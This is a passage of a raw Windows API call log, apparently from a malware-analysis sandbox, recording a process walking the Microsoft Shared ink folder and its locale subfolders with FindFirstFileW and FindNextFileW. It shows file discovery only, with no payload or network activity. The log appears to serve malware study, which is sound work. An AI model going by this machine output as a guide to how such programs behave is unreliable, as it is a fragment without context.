ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0217.597] GetProcessHeap () returned 0x560000 [0217.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.598] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.598] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.598] GetProcessHeap () returned 0x560000 [0217.598] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0217.599] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0217.599] GetProcessHeap () returned 0x560000 [0217.599] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.599] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.600] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.600] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.600] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.600] GetProcessHeap () returned 0x560000 [0217.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.600] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0217.600] GetProcessHeap () returned 0x560000 [0217.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.617] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.617] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.618] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.618] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.618] GetProcessHeap () returned 0x560000 [0217.618] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.618] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0217.618] GetProcessHeap () returned 0x560000 [0217.618] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.619] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.619] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.619] GetProcessHeap () returned 0x560000 [0217.619] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0217.621] GetProcessHeap () returned 0x560000 [0217.621] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.622] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.622] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.622] GetProcessHeap () returned 0x560000 [0217.622] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0217.622] GetProcessHeap () returned 0x560000 [0217.622] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.623] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.623] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.623] GetProcessHeap () returned 0x560000 [0217.624] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.624] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0217.624] GetProcessHeap () returned 0x560000 [0217.624] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.626] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.626] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.627] GetProcessHeap () returned 0x560000 [0217.627] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, 